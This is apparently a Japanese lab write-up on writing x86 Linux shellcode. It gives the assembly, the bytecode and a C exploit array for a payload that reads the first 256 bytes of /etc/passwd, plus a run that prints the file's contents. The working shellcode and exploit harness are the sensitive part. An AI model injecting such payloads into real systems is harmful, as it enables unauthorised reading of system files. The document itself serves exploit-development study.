このペイロードは/etc/passwdファイルの先頭から256バイト読み込み、それを文字列としてコマンドラインに出力する。今回の実験を通して、なぜRead One-Byte Payload が正常動作をしなかったのかがわかった。また、この実験自体も成功している。
文字列の最後は終端であることを指し示すNULLで終わらなければならないが、以前作成したプログラムは全て文字列の最後にNULLを入れる処理を行っていなかった。その結果、ファイルへのパスとして渡された文字列は終わりが見つけられず、メモリのまったく関係ない番地に格納されていたNULLに出会うまでをファイルへのパスとして扱っていた。
これを考慮して/etc/passwdの先頭から256バイトを読み込んでディスプレイに出力するプログラムを記述する。
.globl main
main:
jmp ONE
TWO:
#open
popl %ebx
xorl %eax, %eax
mov %al, 11(%ebx)
mov $0x5, %al
xorl %ecx, %ecx
int $0x80
#read
xorl %edx, %edx
mov $0xff, %dl
mov %esp, %ecx
mov %eax, %ebx
mov $0x3, %al
int $0x80
#write
mov $0x4, %al
mov $0x1, %bl
int $0x80
#exit
mov $0x1, %al
xorl %ebx, %ebx
int $0x80
ONE:
call TWO
.string "/etc/passwd"
文字列の終端にNULLを上書きする処理は"mov %al, 11(%ebx)"で行っている。eaxレジスタは0で埋められており、この処理はebxレジスタの指し示すアドレス+11バイトの位置に0(つまりNULL)を格納する。
次に、ソースコードからバイトコードに変換する。
eb 24 5b 31 c0 88 43 0b b0 05 31 c9 cd 80 31 d2 b2 ff 89 e1 89 c3 b0 03 cd 80 b0 04 b3 01 cd 80 b0 01 31 db cd 80 e8 d7 ff ff ff 2f 65 74 63 2f 70 61 73 73 77 64
このバイトコードを次のようにC言語のExploit([SC] exploit.c)に埋め込む。
char shellcode[]=
"\xeb\x24\x5b\x31\xc0\x88\x43\x0b\xb0\x05"
"\x31\xc9\xcd\x80\x31\xd2\xb2\xff\x89\xe1"
"\x89\xc3\xb0\x03\xcd\x80\xb0\x04\xb3\x01"
"\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd7"
"\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61"
"\x73\x73\x77\x64"
;
つぎに、exploit.cをコンパイルし、実行する。
defolos@glazheim:~/Desktop$ gcc exploit.c defolos@glazheim:~/Desktop$ ./a.out sp = 0xbffff918 ret = 0xbffff918 -------exploit--------------- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh
このペイロードが正常に動作することが確認できた。
今日のシステムで"shadow system"を導入していないシステムはまずありえない。"shadow system"はパスワードの管理をより安全にする仕組みである。このペイロードでは"shadow system"への対応はなされていない。
また、このペイロードはファイルの終わりまでを表示するものではなく、ファイルの先頭256バイトしか表示できない。